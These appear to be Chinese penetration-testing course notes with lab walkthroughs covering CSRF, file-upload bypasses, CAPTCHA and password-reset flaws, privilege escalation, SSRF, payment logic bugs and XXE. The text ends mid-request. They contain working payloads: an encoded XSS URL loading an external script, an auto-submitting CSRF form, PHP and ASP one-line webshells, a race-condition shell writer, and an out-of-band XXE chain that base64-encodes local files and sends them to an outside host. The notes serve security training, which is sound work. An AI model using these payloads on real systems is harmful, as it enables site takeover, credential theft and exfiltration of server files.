http://59.63.200.79:8014/dom_xss?\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0078\u0073\u002e\u0073\u0062\u002f\u0044\u0045\u0072\u0035\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

管理员访问就可以在XSS平台得到flag

6-4CSRF - 跨站请求伪造

一、什么是CSRF?

CSRF(Cross-site request forgery)跨站请求伪造:也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

其实说白了,
csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)

image-20201028185102165

例如:银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
  危险网站B,它里面有一段HTML的代码如下:
  <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
  首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块......
  为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作......

危害
攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。

如何预防CSRF
可以强行用验证码(强制用户必须和应用进行交互,但是体验性太差了)

请求中加随机Token值

什么是随机Token值(不同的表单包含一个不同的伪随机值)

那么XSS 偷Cookie
CSRF 利用Cookie浏览器会自动填充Cookie进访问的数据

二、CSRF靶场演示

http://59.63.200.79:8010/csrf/uploads/dede

admin

admin123登陆

上传一句话木马,并burp抓包

image-20201028141928470

抓到的包,生成CSRF的html代码

image-20201028145353569

默认生成的HTML需要点击能提交数据包,可以通过以下方式实现自动

<form id="aa" action="http://59.63.200.79:8010/csrf/uploads/dede/file_manage_control.php" method="POST">
  ······
</form>

<script>
  function validate(){
    document.getElementById(\'aa\').submit();
  }
  setTimeout(validate,100)
</script>

当用户打开次HTML时就会http://59.63.200.79:8010/csrf/uploads发送请求上传1.php文件的请求

7-1文件上传解析漏洞(一)

一、一句话木马

webshell=>网站会话[拥有网站权限]
getshell=>获取会话

<?php eval($_REQUEST[\'a\']);?>

一句话木马的核心,就是用户传参的数据是当做了代码执行

eval是会将后面的字符串当做代码执行,$_REQUEST[\'a\']表示从request请求中获取a的值。

可以将要执行的代码传给.php的a的值,就会执行,拿到服务器的控制权,为了方便管理可以使用中国菜刀、蚁剑、冰蝎

image-20201026225609676

image-20201026225713931

二、客户端和服务端检测

客户端校验:一般是在网页上写一段Js脚本,用Js去检测,校验上传文件的后缀名,有白名单也有黑名单。
判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,可以通过抓包来判断,如果弹出不准上传,但是没有抓到数据包,那么就是前端验证

前端验证非常不可靠,传正常文件改数据包就可以绕过,甚至关闭JS都可以尝试绕过

黑白名单机制:
黑名单:不允许上传什么
白名单:只允许上传什么
白名单比黑名单更安全

服务端检测几个常见的手段:
检查Content-Type (内容类型)
检查后缀 (检查后缀是主流)
检查文件头

图片马

图片马可以绕过Content-Type (内容类型)和文件头检测

图片马的制作很简单,写一个一句话木马放在txt文件然后找一张你喜欢的图片(注意文件大小,越小越好)

然后打开cmd copy a.jpg/b + 1.txt 123.jpg (将a.jpg和1.txt 合并为123.jpg (注:这个是效果))

三、靶场大闯关

Pass-01:前端检测

文件类型,将一句话木马保存成1.jpg格式,选择1.jpg文件,用burp拦截数据包,讲文件类型改成php

image-20201025202731808

Pass-02:Content-Type方式绕过

此题为后端检测,上传1.php文件用burp拦截请求,将Content-Type改成image/jpeg

image-20201026235303732

image-20201026234936570

Pass-03:黑名单绕过

由于没有过滤不严谨,.php3,.php4,.php5,.phtml 都是会被解析为php的,可以直接上传php3文件

Pass-04:.htaccess文件绕过

.htaccess文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

先上传含一句话木马的1.jpg,在上传.htaccess文件使1.jpg文件按照php解析(新建1.txt 内容为AddType application/x-httpd-php .jpg ,用命令行将重命名ren 1.txt .htaccess

image-20201027001711225

Pass-05:大小写绕过

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

WEB容器除非非常老的版本,不然都不区分大小写

将文件命名成1.PHp就可以上传

Pass-06:文件后缀(空)绕过

在文件名后面留一个空格,然后上传上去后空格会被自动的省略,但是看源码可知道,源码中黑名单中没有过滤空值,那么php和php ,当然是不一样的

将文件命名成"1.php " 就可以上传,windows的需要burp修改数据包

Pass-07: 文件后缀(点)绕过

windows有一个特性,会自动去掉后缀名最后的

将文件命名成1.php.就可以上传,windows的需要burp修改数据包

Pass-08: ::$DATA(Windows文件流绕过)

(这里利用到了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。)

echo abcd>>a.txt:b.txt 讲abcd写入a.txt:b.txt 很明显生成一个a.txt

然后再试试a.txt::$DATA ::$DATA就是默认不修改文件流的情况
所以生成一个正常的a.txt
利用windows特性,可在后缀名中加” ::$DATA”绕过

上传1.php文件,用burp修改数据包1.php后面加上::$DATA,访问1.php即可

image-20201027004040109

Pass-09:构造文件后缀绕过

由于没有循环去除点、空,可以构造多个点空绕过

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES[\'upload_file\'][\'name\']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, \'.\');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

将文件命名成\'1.php. .\' 点空点就可以上传,先去点,再去空,后还剩点

Pass-10:双写绕过
仔细看源码发现$file_name = str_ireplace($deny_ext,"", $file_name);,这里的意思就是讲检测到的危险字符替换为空,php被替换为空是空,那么pphphp被替换为空就会变为php,不就达到了绕过

将文件命名成"1.pphphp" 就可以上传

7-2 文件上传解析漏洞(二)

一、%00截断和00截断

了解%00实际上我们要先了解0x00,0x00实际上是一个十六进制表示方式,实际上就是表示ascii码值为0,有些函数在处理这个字符的时候会把这个字符当做结束符,他们就读取到这里认为这一段结束了

这有什么用呢?

在文件上传时,如果遇到了白名单机制只允许上传jpg后缀的,在没有解析漏洞的情况下我们该怎么办?
JPG格式并不会被解析,那么我们需要绕过上传过滤。

假如我写了1.php%00.jpg 传参之后,有些过滤都是直接匹配字符串,他强行匹配到了结尾是.jpg,然后允许上传,但是php的函数去执行的时候他读取到0x00认为结束了,那么这个文件就变成了1.php

%00实际上和00截断是一模一样的原理,只不过%00是经过URL编码的,%00解码后就是0x00截断的那个字符

http://59.63.200.79:8018/

二、条件竞争

首先了解一个定义——竞争条件是什么?

竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。
在我理解就是两只哈士奇(线程)同时去抢一个丢出去的飞盘(资源),不知道到底哪只能抢到,此处便形成了竞争。

那我们上传是和谁去竞争?
一般而言我们是上传了文件,上传了但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和unlink,是和删除文件的函数进行竞争。

假如我不断的上传发包,然后我同时也不断的访问那个我们上传上去的文件的地址,我们就开始和服务器的函数比手速了,函数执行都是要时间的,如果我这边上传上去,且没有删除,那个时间可能很短,然后被我访问到了,岂不是就可以执行PHP了我就比服务器手速快了
你可以上传一个php然后访问后,由这个php去写一个马
<?php $a = \'<?php @eval($_REQUEST[\\'a\\'])?>\';file_put_contents(\'1.php\',$a)?>

三、靶场大闯关

Pass-11 (%00截断):
上传一个door.asd 来判断是黑名单还是白名单

img

可见是白名单过滤

继续审计源码, 可以看到GET存在一个参数, 体现在url中; 然后将该参数的路径值(要上传到制定目录的位置)和上传的文件名后缀做拼接, 得到一个全新的上传文件:

img

  1. 在GET参数save_path中传入真正的webshell名, 然后在后面加一个截断符%00

  2. 然后在POST的filename为正常白名单的文件名

那么可以采用截断绕过

  • %00截断适用条件

PHP 版本 < 5.3.4
php.ini 中 magic_quotes_gpc=off

通过服务端的白名单过滤和拼接之后, save_path内容后面的值就被截断了, 达到了绕过的效果:

上传1.jpg木马文件,不用burp改包,save_path改成upload/1.php%00,就可以上传

image-20201027135028660

http://59.63.200.79:8016/upload/1.php访问木马

image-20201027135355402

Pass-12 (%00截断(二)):
这个东西和第一题很像,无非就是变成了POST方式提交save_path,问题在于POST方式我们用%00却失效了,这是因为POST传参并不会URL解码,所以需要我们该Hex改为00

image-20201027142605125image-20201027142948912

Pass-13-16(图片马绕过)(getimagesize图片类型绕过)(php_exif模块图片类型绕过)(二次渲染绕过):
这几题目实际上不能利用,只是要你上传一个图片马,必须配合文件包含使用

找到一个.gif文件,在二进制的第4行插入一句话木马,可以解决以上问题

image-20201027163624954

Pass-17(条件竞争):

前面都是先检测,后上传,这里是先上传后检测。在还没有删除前,访问这个文件,让这个文件执行生成另一个文件。另一个文件作为木马。我们用burp模块抓包然后去爆破就行,一个不断上传,一个不断访问

Pass-18(条件竞争2)(这题有Bug):
实际上还是条件竞争,只不过做了各种检查,其实还是一样的,只不过这次要上传图片马。

Pass-19(00截断):

move_uploaded_file() ,这是移动文件的函数,上传上去然后移动到这边重命名

上传1.php文件,用burp改包

image-20201027184652522

image-20201027184817772

7-3文件上传解析漏洞(三)

一、IIS6.0解析漏洞

IIS6.0解析漏洞(一)

IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll,

可以通过以下设置网站什么后缀用什么解析。

image-20201027191822958

image-20201027191926430

image-20201027192232327

IIS6.0解析漏洞(二)

IIS5.1和IIS7.5无此漏洞。
IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:
test.asp;.jpg 他将当做asp进行解析
test.asp/123.jpg 他将当做asp进行解析

请求 /aaa.asp;xxxx.jpg

N1:从头部查找查找 "."号,获得 .asp;xxxx.jpg

N2:查找";"号,如果有则内存截断

N3:查找"/",如果有则内存截断

最终,将保留下来 .asp 字符串,从META_SCRIPT_MAP脚本映射表里与扩展名匹配对比,并反馈给了asp.dll处理

IIS6.0解析漏洞(三)

文件夹名字如果是x.asp那么这个文件夹下任意文件都作asp执行

二、CGI解析漏洞

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设SCRIPT_FILENAME。
当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME(绝对路径)传递给PHP CGI,如果开启了cgi.fix_pathinfo=1选项(这个默认值就是1,所以没有设置过就是开启),那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME(绝对路径)是phpinfo.jpg,而1.php是PATH_INFO,所以就会phpinfo.jpg作为PHP文件来解析了.
也是一个逻辑问题,所以说我们只需要在正常的.jpg后面加/.php就可以成功的绕过解析
可以通过云悉识别:http://www.yunsee.cn/info.html

这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞

三、靶场大闯关

1.IIS6.0解析漏洞(一)asp

<%eval request("a")%>写入gif文件的第3行,将1.gif文件上传,用burp修改数据包

image-20201027195956860

image-20201027200100860

image-20201027200216684

在此文件夹下可以找到flag

2.IIS6.0解析漏洞(二)asp

<%eval request("a")%>写入gif文件的第3行,将1.gif文件上传,用burp修改数据包

image-20201027201127102

image-20201027201220218

image-20201027201432432

在此文件夹下可以找到flag

3.IIS6.0解析漏洞(三)asp

<%eval request("a")%>写入jpg文件最后,将1.jpg文件上传

image-20201027204253123

image-20201027204344307

4.CGI解析漏洞php

<?php eval($_REQUEST[\'a\']);?>写入gif文件的第3行,将php.gif文件上传

image-20201027205533965

8-1验证码绕过、密码找回漏洞

一、验证码作用

验证码(CAPTCHA)是“Completely Automated Public Turing test to tell Computers and Humans Apart”(全自动区分计算机和人类的图灵测试)的缩写,是一种区分用户是计算机还是人的公共全自动程序。

可以防止:恶意破解密码、刷票、论坛灌水,有效防止某个黑客对某一个特定注册用户用特定程序暴力破解方式进行不断的登陆尝试,实际上用验证码是现在很多网站通行的方式,我们利用比较简易的方式实现了这个功能。

这个问题可以由计算机生成并评判,但是必须只有人类才能解答。由于计算机无法解答CAPTCHA的问题,所以回答出问题的用户就可以被认为是人类。

验证码五花八门,有中文字,纯数字,点击字符、数学运算……

image-20201027213938681

二、验证码绕过的常见姿势

image-20201027214058552

设置了验证码并不是完全可靠,在很多情况存在验证码绕过的情况(举例是在登录处)

一、前端验证验证码,并没有后端验证。直接抓包然后进行跑数据包,反正有没有验证码的阻碍

二、验证码设置了但是并没有效验,乱输验证码也能够成功的登录

三、验证码可以重复使用,比如现在的验证码1111,然后虽然你登录失败后验证码会变,但是你输入1111他却判定你验证码正确(常见)https://www.uedbox.com/post/14207/

四、.验证码空值绕过,比如,我们现在抓一个包,发现登录参数是user=admin&password=admin&yzm=4123。 yzm验证码参数,但是我们如果去掉yzm的传参我们就可以绕过验证码机制,直接传参user=admin&password=admin,验证码就失效了https://www.uedbox.com/post/22266/

五、验证码干扰过低,轻松使用脚本识别https://www.uedbox.com/post/10085/

六:验证码会在HTML页面输出。https://www.uedbox.com/post/16869/

七、验证码可控制,比如他的验证码包含在URL里面,是一个URL传参,我们可以把URL设置定,那么验证码可控制https://www.uedbox.com/post/29913/

八、验证码有规则,比如是时间戳的后6位(rand函数进行随机数)

九、有万能验证码,验证码无论是什么,只要输入000000就能直接绕过

十、验证码有的时候会藏在cookie里面,分析一下是不是存在验证码的参数

十一、图片验证码,类型太少,容易识别https://www.uedbox.com/post/24112/

多次登录后才出现验证码绕过:
基于session:https://www.uedbox.com/post/22043/
基于ip: https://www.uedbox.com/post/28442/
基于用户:爆破用户名,而非爆破密码

三、密码找回漏洞

有一类验证码,他并不是区分用户是计算机还是人的公共全自动程序,他是用来证明你的身份的,比如你登录微信,支付宝,支持短信验证码登录,像这类验证码他实际上是用来区分你的身份的。

当你QQ密码忘记密码的时候,你需要找回密码,然后他要求把APP显示的动态密码填入框里面,一般而言手机验证码时间都有5-30分钟,如果他没有做尝试限制的话我们是不是可以进行穷举?然后直接跑出验证码然后就修改他人密码呢?

image-20201027214709032

第一种就是找回密码,往邮箱发送明文或密文的密码或者验证码(手机短信验证就是往你手机号码发验证码)通过这样的方法来判断是否是本人

image-20201027214806850

第二种发送一个重置密码的链接到邮箱

image-20201027214822632

image-20201027214843677

上述的密码找回方法会有什么样的漏洞呢?
1.验证码发送后前端返回 (https://www.uedbox.com/post/13890/)
2.验证码无次数限制可爆破 (https://www.uedbox.com/post/15675/)

3.验证码可控 (https://www.uedbox.com/post/26992/)
4.直接修改密码页面(https://www.uedbox.com/post/35739/)
5.越权漏洞->自己验证码通过改包然后修改他们密码

https://www.uedbox.com/post/24098/
https://www.uedbox.com/post/42136/

在注册之前,通过预先设定一个密保问题,忘记密码时,通过此密保进行认证,认证成功进入密码修改页面。

  • 密保问题可能容易直接被猜测 (比如很多学校的知道学号和身份证号码就可以重置校园通的密码)

  • 密保问题答案页面中显示(数据包里面可能自带了密保答案,可能在JS里面)

四、靶场提示

代码审计\Include\web_email.php这个文件源码中可以看出验证码是10到10000之间的数字

image-20201027230349386

image-20201027230356706

image-20201027230524676

http://59.63.200.79:8010//hahq_Admin/?umail=408362692@qq.com&type=ok

由于验证码没有错误次数限制,通过爆破得到验证码

image-20201027224000460

image-20201027224301493

image-20201027224321332

8-2 平行越权、垂直越权

一、什么是越权?

越权漏洞的概念
越权漏洞是一种很常见的逻辑安全漏洞。是由于服务器端对客户提出的数据操作请求过分信任,忽略了对该用户操作权限的判定,导致修改相关参数就可以拥有了其他账户的增、删、查、改功能,从而导致越权漏洞。

目前存在着两种越权操作类型:横向越权操作(水平越权)和纵向越权(垂直越权)操作。

越权一般分为水平越权和垂直越权。
水平越权是指相同权限下不同的用户可以互相访问
垂直越权是指使用权限低的用户可以访问到权限较高的用户

水平越权测试方法主要就是看看能否通过A用户操作影响到B用户

垂直越权的测试思路就是低权限用户越权使用高权限用户的功能,比如普通用户可使用管理员功能。

image-20201028002830227

二、越权测试过程

把握住传参就能把握住逻辑漏洞的命脉

越权测试
登录A用户是,正常更改或者是查看A用户信息,然后抓取数据包,将传参ID修改为其他用户,如果成功查看或者修改了同权限其他用户的信息就属于水平越权测试。(如果可以影响到高权限用户就是垂直越权)

image-20201028002852902

传参ID参数需要自己检测(常见:uid= id= user= 等)通常使用burp进行爆破传参(传参可能在GET POST COOKIE)

常见平行越权(不需要输入原密码的修改密码,抓包改用户名或者用户id修改他人密码
修改资料的时候修改用户id
查看订单的时候,遍历订单id
等)

三、常见越权漏洞

1.通过修改GET传参来越权(http://www.anquan.us/static/bugs/wooyun-2016-0205340.html)

2.修改POST传参进行越权(http://www.anquan.us/static/bugs/wooyun-2016-0207583.html)

3.修改cookie传参进行越权(http://www.anquan.us/static/bugs/wooyun-2016-0184633.html)

抓取传参可以在浏览器、APP、应用程序(exe)

还有一类叫做未授权访问,严格意义上而言这个不属于越权漏洞,但是在日常测试中常常会遇见
(只要输入正确的网址就可以直接访问,例如/admin默认是登录,登录后跳转到user.php,然后你直接访问user.php,发现你直接有后台权限)
http://www.anquan.us/static/bugs/wooyun-2016-0189174.html
Web攻防之业务安全实战指南 (陈晓光 胡兵 张作峰 等 著) 建议下载PDF观看

四、靶场实战

注册登录,修改Cookie,将admin改成1,shenfen改成1

image-20201028002328426

image-20201028002611585

image-20201028002634470

8-3 SSRF-服务器端请求伪造

一、什么是SSRF?

控制目标站点去访问其他网站

可以访问内网和本机

为什么访问到本机和内网才有严重危害:

1.安全界有个通病,外紧内松,内网全部是洞,安全性不需要那么强

2.本机比内网更脆弱,很多站点和防护软件,对127.0.0.1的本地访问并不会拦截当你有网站管理员权限的时候,某些站点的自带防护也会不拦截

3.找到一些正在开发的网站

image-20201028201845855

能用SSRF做什么?

  • 扫描内部网络(FingerPrint)

  • 向内部任意主机的任意端口发送精心构造的数据包{Payload}

  • DOS(请求大文件,始终保持连接Keep-Alive Always)

  • 暴力穷举(users/dirs/files)

怎么寻找SSRF:
1、看功能(出现外部访问,翻译)
2、看传参。如果说传参中存在有后缀的东西[A级]
传参中出现协议名:http://
a.b 123.txt 1.xls 123.html
为什么有这些东西
1、读取文件显示给你
2、包含文件(文件包含)
3、下载文件

防护:
通过正则匹配。不允许你传内网地址
127.0.0.1=>拦截访问
怎么绕过?
域名肯定是要解析成IP;
我们自己申请个域名,把地址指向127.0.0.1
子域名有一种情况叫做泛解析:
当这个子域名没有特殊规定的时候,自动解析到某个ip

二、SSRF攻击

dict://查看字典,可用于探测端口

file://协议 打开服务器的文件

https://www.uedbox.com/post/10801/
https://www.uedbox.com/post/12328/

通过传递url值来实现让服务器访问url值的网站

<?php
	$URL = $_GET[\'url\'];
	$CH = CURL_INIT();
	CURL_SETOPT($CH, CURLOPT_URL, $URL);
	CURL_SETOPT($CH, CURLOPT_HEADER, FALSE);
	CURL_SETOPT($CH, CURLOPT_RETURNTRANSFER, TRUE);
	CURL_SETOPT($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
	CURL_SETOPT($CH, CURLOPT_FOLLOWLOCATION, TRUE);
	$RES = CURL_EXEC($CH);
	CURL_CLOSE($CH);
	echo $RES;
?>

http://localhost/index.php?url=http://www.baidu.com

三、靶场演示

image-20201028204237174

用burp抓包,dict协议检测端口,发现81端口有东西image-20201028204619387

image-20201028204744898

查看源码发现flag

8-4支付漏洞

一、快捷支付原理

商户网站接入支付结果有两种方式,一种是通过浏览器进行跳转通知,一种是服务器端异步通知
浏览器跳转
基于用户访问的浏览器,如果用户在银行页面支付成功后,直接关闭了页面,并未等待银行跳转到支付结果页面,那么商户网站就收不到支付结果的通知,导致支付结果难以处理。而且浏览器端数据很容易被篡改而降低安全性
服务器端异步通知
该方式是支付公司服务器后台直接向用户指定的异步通知URL发送参数,采用POST或GET的方式。商户网站接收异部参数的URL对应的程序中,要对支付公司返回的支付结果进行签名验证,成功后进行支付逻辑处理,如验证金额、订单信息是否与发起支付时一致,验证正常则对订单进行状态处理或为用户进行网站内入账等

支付漏洞?

  • 相对于其他漏洞来说,支付漏洞应该是大家最喜闻乐见的了,比如一分钱购买手机(但是大家渗透测试要有分寸)

  • 支付漏洞并不需要代码审计,各位同学可以放心。

  • 支付漏洞属于逻辑漏洞,挖掘这类漏洞有发散(QiPa)思维,往往有事半功倍的效果,简单来说就是不按常理出牌。

二、常见支付漏洞

  • 修改支付的价格(https://www.uedbox.com/post/22477/)
    支付三步曲——订购、订单、付款
    三个步骤当中的随便一个步骤进行修改价格测试,如果前面两步有验证机制,那么你可在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验,那么问题就会存在,其修改的金额值你可以尝试小数目或者尝试负数。

  • 修改支付状态(https://www.uedbox.com/post/24090/)
    订单完成——未完成(傻傻分不清)
    A订单-0001完成——B订单-0002未完成
    付款时尝试把订单B的单号给成订单A
    其实也不局限于付钱:http://woo.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0156253

  • 修改订单数量(https://www.uedbox.com/post/23143/)
    一支笔1块,买0支,或者买-1支(不久等于免费了么?

  • 修改附属值
    优惠劵
    优惠劵其基本都是优惠,一般用优惠劵进行消费一般出现在第二个步骤当中:确认购买信息,在这个步骤页面当中,你可以选择相关优惠劵,然后直接修改金额大于或等于商品的价格就可以,或者直接修改其为负值进行尝试,最后进行支付,如果对这点没有加以验证,那么问题就会产生,直接支付成功
    例外就是x大佬,买商品,优惠券x27张(可怕。。。)

  • 越权支付
    这个大家比较了解吧
    存在user=id(123),这种传参时,尝试改改id,尝试用别人的钱包买自己的包包。

  • 无限制试用
    比如试用的参数为2,正常购买的参数为1
    那么我们购买参数2(试用),会发生什么呢?
    疯掉的逻辑(https://www.uedbox.com/post/12258/)
    https://www.uedbox.com/web-security/wooyunbugs/

三、支付漏洞如何挖掘

  • 找到关键的数据包
    可能一个支付操作有三四个数据包,我们要对数据包进行挑选。

  • 分析数据包
    支付数据包中会包含很多的敏感信息(账号,金额,余额,优惠),要尝试对数据包中的各个参数进行分析。

  • 不按套路出牌
    多去想想开发者没有想到的地方

  • pc端尝试过,wap端也看看,app也试试。

分享一下前天我们SRC活动挖到的支付漏洞

四、防御方法

  • 后端检查每一项值,包括支付状态。

  • 校验价格、数量参数,比如产品数量只能为正整数,并限制购买数量

  • 与第三方支付平台检查,实际支付的金额是否与订单金额一致。

  • 支付参数进行MD5 加密、解密、数字签名及验证,这个可以有效的避免数据修改,重放攻击中的各种问题

  • 金额超过阈(yu)值,进行人工审核

五、靶场

注册登录,购买大负数量,在在线充值里就有flag

image-20201031202707671

image-20201031202950229

image-20201031203052573

8-5 XXE - 实体注入

一、什么是XXE?

XXE = XML External Entity 即外部实体,从安全角度理解成XML External Entity attack XML外部实体注入攻击

典型的攻击如下:

image-20201031232211040

定义实体必须写在DTD部分

二、什么是XML?

什么是 XML?

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准

特点:
XML仅仅是纯文本,他不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)

XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。

这玩意就是个储存数据的

三、XXE原理

有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Rohit [
    <!ENTITY entityex SYSTEM "file://foler/file">
]>
<abc>&entityex;</abc>

外部文档声明
假如DTD位于XML源文件的外部,那么它应通过下面的语法被封装在一个DOCTYPE定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

php中存在一个叫做simplexml_load_string的函数

这个函数是将XML转化为对象

实例:

<?php
$test = \'<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>\';  	
$obj = simplexml_load_string($test, \'SimpleXMLElement\', LIBXML_NOENT);
print_r($obj);
?>

变量test里面是XML

然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件

<!ENTITY 实体名称 SYSTEM “URI/URL"> 

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

image-20201031232928493

很多时候后端语言解析了XML后其实并不会给你输出,难道这样子我们就不能进行XXE了?就可以抵挡住我们的脚步了吗?

不,我们可以使用一个类似与接受平台一样的接受器,XML读取数据然后发送到接收的平台,然后接收平台存储,我们再去接收平台查看就可以了。感觉是不是像是反弹注入的感觉~

我们先读取我们想要的文件,然后为了传输方便,我们先来个base64编码,我们可以使用php伪协议读取文件(仅PHP支持)

 php://filter/read=convert.base64-encode/resource=c:/1.txt

 然后我们再去调用一个外部xml 比如1.xml (<!ENTITY % remote SYSTEM "http://192.168.19.131/1.xml">)

 <!ENTITY % all

 "<!ENTITY &#x25; send SYSTEM \'http://120.203.13.75:8123/xxe/2.php?id=%file;\'>"

 \>

 %all;

这个1.xml会被加载到原本的xml,然后我们最后来调用,然后你读取出来的文件会用get传参的方式传参给2.php 然后2.php记录下来储存到3.txt中

 <?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.32.146/xxe/1.xml"> 
%remote;
%send; 
]>
EOF;
$obj = simplexml_load_string($test, \'SimpleXMLElement\', LIBXML_NOENT);
?>

XXE-防御

image-20201031233238740

四、靶场演示

通过查看weixin的php,当signature有值时,会将POST值当值xml执行

image-20201031233037087

http://59.63.200.79:8207/weixin/用burp抓包,发送到Repeater,

image-20201102230825775

将GET请求,改成POST请求,在weixin传入参数?signature=fdsaf,请求包末尾加入POST传XXE代码值

POST /weixin/?signature=fdsaf HTTP/1.1
Host: 59.63.200.79:8207
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=e2qfucg73udhmdm8n03ukj62s6; Hm_lvt_b60316de6009d5654de7312f772162be=1604161420; safedog-flow-item=789C4E95DD8F4CC7683E5563E4949B3F; Hm_lpvt_b60316de6009d5654de7312f772162be=1604329000
Connection: close
Content-Length: 229

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
